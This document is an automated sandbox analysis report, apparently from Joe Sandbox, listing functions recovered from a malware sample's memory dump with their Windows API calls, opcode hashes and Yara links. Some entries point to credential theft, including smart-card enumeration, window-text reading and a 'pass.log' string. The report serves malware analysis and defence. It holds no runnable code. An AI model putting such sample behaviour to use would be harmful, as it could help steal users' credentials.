                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: BitsHeap$AllocCreateDeleteFreeObjectSection
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 2995912508-0
                                                                                                                                                                                                                      • Opcode ID: 500c7028dc2b08804da6ccb460eaa2985d083b14d49f4435df6d6f91713ce7a7
                                                                                                                                                                                                                      • Instruction ID: ad086ff08618fafbbc2a69afd37c708e9516e06c4947e6941ba255a12fcb3ab4
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 500c7028dc2b08804da6ccb460eaa2985d083b14d49f4435df6d6f91713ce7a7
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FD217CB5640704ABE7208F25DCC4F2BBBE9FB89751F50891DF68ACB280D270E840C764
                                                                                                                                                                                                                      Function 026F8820 Relevance: 9.1, APIs: 6, Instructions: 90synchronizationCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GdiFlush.GDI32(00000000,?,00000000), ref: 026F88B6
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 026F88C4
                                                                                                                                                                                                                      • IsBadWritePtr.KERNEL32(?,?), ref: 026F88DA
                                                                                                                                                                                                                      • IsBadReadPtr.KERNEL32(00000000,?), ref: 026F88E6
                                                                                                                                                                                                                      • memcpy.MSVCRT(?,00000000,?), ref: 026F88F3
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000), ref: 026F8915
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: FlushMutexObjectReadReleaseSingleWaitWritememcpy
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 3485819771-0
                                                                                                                                                                                                                      • Opcode ID: 8b92860e2da68dd26558de8a166fe2e96f1c6154531dd99e4ce8ec9f13660271
                                                                                                                                                                                                                      • Instruction ID: fc941a9979331245e141978debce07597f0a16f576feb0da783e8f939c799e32
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8b92860e2da68dd26558de8a166fe2e96f1c6154531dd99e4ce8ec9f13660271
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3531C476E402149BCF54CF69D984A9A7BBABF88355B14C8A9EE149B301DB31D811CB90
                                                                                                                                                                                                                      Function 026F2850 Relevance: 9.1, APIs: 6, Instructions: 87COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • calloc.MSVCRT(?,00000004,?,00000000,026F2D01,?,?,026F2967,00000000,00000000,?,?,?,?,026F2D01,00000000), ref: 026F286F
                                                                                                                                                                                                                      • exit.MSVCRT(00000001,?,026F2D01,00000000,00000000), ref: 026F287D
                                                                                                                                                                                                                      • calloc.MSVCRT(026F2D01,00000004,?,026F2D01,00000000,00000000), ref: 026F2889
                                                                                                                                                                                                                      • exit.MSVCRT(00000001), ref: 026F2896
                                                                                                                                                                                                                      • free.MSVCRT(00000000,?,00000000,?,?,?), ref: 026F28EA
                                                                                                                                                                                                                      • free.MSVCRT(?), ref: 026F290E
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: callocexitfree
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 3367576030-0
                                                                                                                                                                                                                      • Opcode ID: ee1998e3a4dfdaf9b3953837597a15f0dc58f34ecec7cafe9e4ea900a372e6bc
                                                                                                                                                                                                                      • Instruction ID: 1158f201420d201596ccd79ac5f3fe569cdefd587f36d0e5b7f712993989e8ba
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ee1998e3a4dfdaf9b3953837597a15f0dc58f34ecec7cafe9e4ea900a372e6bc
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 52215AB1A00319AFDB50DF68DC90AAB7BA8FF49314F044529FE5597340E7B1ED248BA1
                                                                                                                                                                                                                      Function 02715850 Relevance: 9.1, APIs: 6, Instructions: 85COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • SCardEstablishContext.WINSCARD(00000002,00000000,00000000,02706A83,00000000), ref: 02715875
                                                                                                                                                                                                                      • SCardListReadersA.WINSCARD(02706A83,00000000,?,FFFFFFFF), ref: 0271588C
                                                                                                                                                                                                                      • SCardConnectA.WINSCARD(02706A83,?,00000002,00000003,?,?), ref: 027158BE
                                                                                                                                                                                                                      • SCardDisconnect.WINSCARD(?,00000000), ref: 027158E9
                                                                                                                                                                                                                      • SCardFreeMemory.WINSCARD(02706A83,?), ref: 02715905
                                                                                                                                                                                                                      • SCardReleaseContext.WINSCARD(02706A83), ref: 02715913
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Card$Context$ConnectDisconnectEstablishFreeListMemoryReadersRelease
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 3231658416-0
                                                                                                                                                                                                                      • Opcode ID: 2077ac8d55410d4d5eee8b4f79e47ee04933db530093c017c698e3e349db7014
                                                                                                                                                                                                                      • Instruction ID: 29bd7d7db7726eef62fcb2f4418c6290747416bc2e33ec1e9e78706c51c22aed
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2077ac8d55410d4d5eee8b4f79e47ee04933db530093c017c698e3e349db7014
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 62218D72E00319ABDB24CF99C849FAEBBBAEF84705F548549E951A7140D770AA04CBA0
                                                                                                                                                                                                                      Function 027152D0 Relevance: 9.1, APIs: 6, Instructions: 72windowCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • MsgWaitForMultipleObjects.USER32(00000001,?,00000000,00002710,000004FF,00000001,00001000,00000000), ref: 027152EB
                                                                                                                                                                                                                      • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001,?,?,?,?,?,?,?,?,02700611,00000029), ref: 0271531C
                                                                                                                                                                                                                      • TranslateMessage.USER32(?,?,?,?,?,?,?,?,?,02700611,00000029), ref: 02715338
                                                                                                                                                                                                                      • DispatchMessageW.USER32(?,?,?,?,?,?,?,?,?,02700611,00000029), ref: 0271533E
                                                                                                                                                                                                                      • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001,?,?,?,?,?,?,?,?,02700611,00000029), ref: 0271534C
                                                                                                                                                                                                                      • MsgWaitForMultipleObjects.USER32(00000001,?,00000000,00002710,000004FF,?,?,?,?,?,?,?,?,02700611,00000029), ref: 02715364
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Message$MultipleObjectsPeekWait$DispatchTranslate
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 1800058468-0
                                                                                                                                                                                                                      • Opcode ID: c2bf180930e5c5643e84d20668eb69d1057a4f3ea077dc263b2c5b46e6382aa1
                                                                                                                                                                                                                      • Instruction ID: 5ab7cbed038e6cfc123ca6b7c528e2776296368d0972b0fb4ff7b71e44e73a2e
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c2bf180930e5c5643e84d20668eb69d1057a4f3ea077dc263b2c5b46e6382aa1
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8411C472B803097AE724965C9C86FAE7768EF85B08F908911FB04EB0C0C7F1E450C6A4
                                                                                                                                                                                                                      Function 02702E80 Relevance: 9.1, APIs: 6, Instructions: 63memoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetAncestor.USER32(?,00000002,00000000,00000001), ref: 02702E8E
                                                                                                                                                                                                                      • GetWindowTextA.USER32(00000000,?,00000104), ref: 02702EA9
                                                                                                                                                                                                                        • Part of subcall function 02702570: memset.MSVCRT(02749F08,00000000,00000104,74DEF550,00000000), ref: 02702587
                                                                                                                                                                                                                        • Part of subcall function 02702570: SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,74DEF550,00000000), ref: 0270259E
                                                                                                                                                                                                                        • Part of subcall function 02702570: PathAddBackslashA.SHLWAPI(?,?,74DEF550,00000000), ref: 027025AB
                                                                                                                                                                                                                        • Part of subcall function 02702570: PathFileExistsA.SHLWAPI(?,?,74DEF550,00000000), ref: 027025E7
                                                                                                                                                                                                                        • Part of subcall function 02702570: lstrcpynA.KERNEL32(02749F08,00000000,00000104,00000000,00000001,?,74DEF550,00000000), ref: 02702611
                                                                                                                                                                                                                        • Part of subcall function 02702570: GetProcessHeap.KERNEL32(00000000,00000000,?,74DEF550,00000000), ref: 02702620
                                                                                                                                                                                                                        • Part of subcall function 02702570: HeapValidate.KERNEL32(00000000,?,74DEF550,00000000), ref: 02702623
                                                                                                                                                                                                                        • Part of subcall function 02702570: GetProcessHeap.KERNEL32(00000000,00000000,?,74DEF550,00000000), ref: 02702630
                                                                                                                                                                                                                        • Part of subcall function 02702570: HeapFree.KERNEL32(00000000,?,74DEF550,00000000), ref: 02702633
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 02702F07
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 02702F0A
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 02702F17
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 02702F1A
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Process$Path$FreeValidate$AncestorBackslashExistsFileFolderTextWindowlstrcpynmemset
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 649337724-0
                                                                                                                                                                                                                      • Opcode ID: f2d4452790378a6cba6bc946cf48d3b1f96ffcc0cd044e7f857f5ee826d3f210
                                                                                                                                                                                                                      • Instruction ID: 5c9a08be19cd534f2e8f9c553506de3e4ff041a6f1afd798b0d6f9014730810f
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f2d4452790378a6cba6bc946cf48d3b1f96ffcc0cd044e7f857f5ee826d3f210
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B811E772A84214E7DB209B309C9CBA73BEDAB16355F448950ED84D71C2EB71D85CC7A0
                                                                                                                                                                                                                      Function 026FBAA0 Relevance: 9.0, APIs: 6, Instructions: 47synchronizationthreadwindowCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetCurrentThreadId.KERNEL32 ref: 026FBAAF
                                                                                                                                                                                                                      • IsWindow.USER32(?), ref: 026FBAD4
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 026FBAE2
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32 ref: 026FBB17
                                                                                                                                                                                                                      • IsWindow.USER32(?), ref: 026FBB1E
                                                                                                                                                                                                                      • SendMessageA.USER32(?,00000215,00000000,00000000), ref: 026FBB2E
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Window$CurrentMessageMutexObjectReleaseSendSingleThreadWait
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 1675675969-0
                                                                                                                                                                                                                      • Opcode ID: 17da744998928e4f568b113383c851b5e1b1316c1b40d40263414bf8c566be12
                                                                                                                                                                                                                      • Instruction ID: 10b113688990dfb66a14ed3814a333c55eec508b55b791c352f0532d32a11191
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 17da744998928e4f568b113383c851b5e1b1316c1b40d40263414bf8c566be12
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5101B171E811209BDB159F24E80AFDA73A4FF4C72AF498AA5E5059B384C7B15852CF90
                                                                                                                                                                                                                      Function 026FB920 Relevance: 9.0, APIs: 6, Instructions: 37synchronizationthreadwindowCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetCurrentThreadId.KERNEL32 ref: 026FB92D
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 026FB94B
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32 ref: 026FB980
                                                                                                                                                                                                                      • IsWindow.USER32(?), ref: 026FB987
                                                                                                                                                                                                                      • SendMessageA.USER32(?,00000215,00000000,00000000), ref: 026FB99B
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000005), ref: 026FB9AA
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: CurrentErrorLastMessageMutexObjectReleaseSendSingleThreadWaitWindow
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 699575883-0
                                                                                                                                                                                                                      • Opcode ID: edf2a957d492d5ec6236118dbbb9499fadc117c0b9d09ced7a820180d018bf48
                                                                                                                                                                                                                      • Instruction ID: ad1f0c128219613f0d0bebe324c76c1ca94ba903948b9e4714843a60c5599aaf
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: edf2a957d492d5ec6236118dbbb9499fadc117c0b9d09ced7a820180d018bf48
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6C018670A85210AFDB148B20E80DFDA37A4FF4D31BF81C9A8EA159B2C0C7B15462CF91
                                                                                                                                                                                                                      Function 026FCBF0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetWindowRect.USER32(026FCD24,00000000,026FD21D,75C0BCB0), ref: 026FCBFF
                                                                                                                                                                                                                      • GetWindowLongA.USER32(026FCD24,000000F0,?,?,?,?,?,?,?,?,?,?,?,?,?,026FCD24), ref: 026FCC19
                                                                                                                                                                                                                      • GetScrollBarInfo.USER32(026FCD24,000000FA,?), ref: 026FCC34
                                                                                                                                                                                                                      • GetScrollBarInfo.USER32(026FCD24,000000FB,0000003C), ref: 026FCC61
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: InfoScrollWindow$LongRect
                                                                                                                                                                                                                      • String ID: <
                                                                                                                                                                                                                      • API String ID: 4167475372-4251816714
                                                                                                                                                                                                                      • Opcode ID: 3678a8b7ee67bb49470886bfcc284d81c5c7246d0071ba6fdb7dfc95dd51bc93
                                                                                                                                                                                                                      • Instruction ID: b2119cc75a4886d4596c3cb0008186de26bb8fc8f345845885b432ceaf82ca14
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3678a8b7ee67bb49470886bfcc284d81c5c7246d0071ba6fdb7dfc95dd51bc93
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2931F3B0901B05EFC724CF6AD584A56BBF5BB48315B508A1EE59A93B60D730B450CF90
                                                                                                                                                                                                                      Function 027341A0 Relevance: 8.8, APIs: 7, Instructions: 78COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • malloc.MSVCRT(00000050,00000000,00000000,?,02731094), ref: 027341AB
                                                                                                                                                                                                                      • malloc.MSVCRT(00004000,?,?,?,000000FF,?), ref: 027341C1
                                                                                                                                                                                                                      • free.MSVCRT(00000000,?,?,?,?,000000FF,?), ref: 027341D3
                                                                                                                                                                                                                      • malloc.MSVCRT(00000400,?,?,?,?,000000FF,?), ref: 027341EF
                                                                                                                                                                                                                      • free.MSVCRT(00000000,?,?,?,?,?,000000FF,?), ref: 0273420E
                                                                                                                                                                                                                      • free.MSVCRT(00000000,?,?,?,?,?,000000FF,?), ref: 0273421C
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: freemalloc
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 3061335427-0
                                                                                                                                                                                                                      • Opcode ID: 511509be6c014933f79feb56b835cb74cadcb003d43f74d1310198e1a1b57d7d
                                                                                                                                                                                                                      • Instruction ID: 0b23203750932417a60d07c7d21fe0263877204f391504ae5aa6320e7fe2a8db
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 511509be6c014933f79feb56b835cb74cadcb003d43f74d1310198e1a1b57d7d
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A12160F2A017144BD720AF7AEC8164BF7E4BF44225B198C3ED68AD7600D371E1598B92
                                                                                                                                                                                                                      Function 026F78E0 Relevance: 8.8, APIs: 7, Instructions: 64memoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                        • Part of subcall function 026F74A0: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,?,d900db28a,76EEC3F0,?,?,02702600,00000000,00000001), ref: 026F74C6
                                                                                                                                                                                                                        • Part of subcall function 026F74A0: GetFileSizeEx.KERNEL32(00000000,?,?,?,02702600,00000000,00000001,?,74DEF550,00000000), ref: 026F74E4
                                                                                                                                                                                                                        • Part of subcall function 026F74A0: GetProcessHeap.KERNEL32(00000008,?,?,?,02702600,00000000,00000001,?,74DEF550,00000000), ref: 026F750D
                                                                                                                                                                                                                        • Part of subcall function 026F74A0: HeapAlloc.KERNEL32(00000000,?,?,02702600,00000000,00000001,?,74DEF550,00000000), ref: 026F7514
                                                                                                                                                                                                                        • Part of subcall function 026F74A0: memset.MSVCRT(00000000,00000000,00000001,?,?,02702600,00000000,00000001,?,74DEF550,00000000), ref: 026F7527
                                                                                                                                                                                                                        • Part of subcall function 026F74A0: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 026F7553
                                                                                                                                                                                                                        • Part of subcall function 026F74A0: LockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 026F7563
                                                                                                                                                                                                                        • Part of subcall function 026F74A0: ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 026F7572
                                                                                                                                                                                                                        • Part of subcall function 026F74A0: UnlockFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 026F7585
                                                                                                                                                                                                                        • Part of subcall function 026F74A0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 026F7594
                                                                                                                                                                                                                        • Part of subcall function 026F74A0: HeapValidate.KERNEL32(00000000), ref: 026F759B
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000013,?,00000000,00000000,00000000,74DF0F00,02703D3F), ref: 026F791C
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 026F7923
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,00000013), ref: 026F7933
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,74DF0F00,02703D3F), ref: 026F7955
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 026F7958
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 026F7965
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 026F7968
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$File$Process$AllocValidatememset$CreateFreeLockPointerReadSizeUnlock
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 465464135-0
                                                                                                                                                                                                                      • Opcode ID: 70f12c0396aa204b08f0b0534b7c29391488beae3d4c3700086c28090b331e30
                                                                                                                                                                                                                      • Instruction ID: 6f15e20377f2cca2cdc3243a5e4e2fd15d95f6ee32df967162867e133e013b45
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 70f12c0396aa204b08f0b0534b7c29391488beae3d4c3700086c28090b331e30
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0511C272B01218ABDB61AEA59C48F5FB76CEF89B56F504128FE04E7280DB70DD0086E0
                                                                                                                                                                                                                      Function 0270B110 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 64COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE250A), ref: 0270B137
                                                                                                                                                                                                                      • GetFileAttributesA.KERNEL32(?), ref: 0270B175
                                                                                                                                                                                                                      • PathFileExistsA.SHLWAPI(?), ref: 0270B1B9
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: FilePath$AttributesBackslashExists
                                                                                                                                                                                                                      • String ID: 26EE250A$pass.log
                                                                                                                                                                                                                      • API String ID: 2713433229-1437076902
                                                                                                                                                                                                                      • Opcode ID: ce910149c39f1fbec85bd7996365989796bcb736bee4c1419ac69f9957c4793f
                                                                                                                                                                                                                      • Instruction ID: 45945b8c942da146fd0cb6806cc7f79ae9a3a4ddec3c87e7c62816af3f1ad15e
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ce910149c39f1fbec85bd7996365989796bcb736bee4c1419ac69f9957c4793f
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BC11CB71904649CBCB218B28A9946E77BE5DB49305F149A95DDC987340EB709958C7C0
                                                                                                                                                                                                                      Function 027041E0 Relevance: 8.8, APIs: 7, Instructions: 55memoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,02715097,00000000,75A934D0,?,?,02715084,00000104,?,?,?,?,00000000,00000000), ref: 027041FE
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,?,?,02715084,00000104,?,?,?,?,00000000,00000000), ref: 02704205
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,02715097,?,?,02715084,00000104,?,?,?,?,00000000,00000000), ref: 02704215
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,00000000,75A934D0,?,?,02715084,00000104,?,?,?,?,00000000,00000000), ref: 02704229
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000,?,?,02715084,00000104,?,?,?,?,00000000,00000000), ref: 02704230
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000000,02714081,?,?,02715084,00000104,?,?,?,?,00000000,00000000), ref: 0270424A
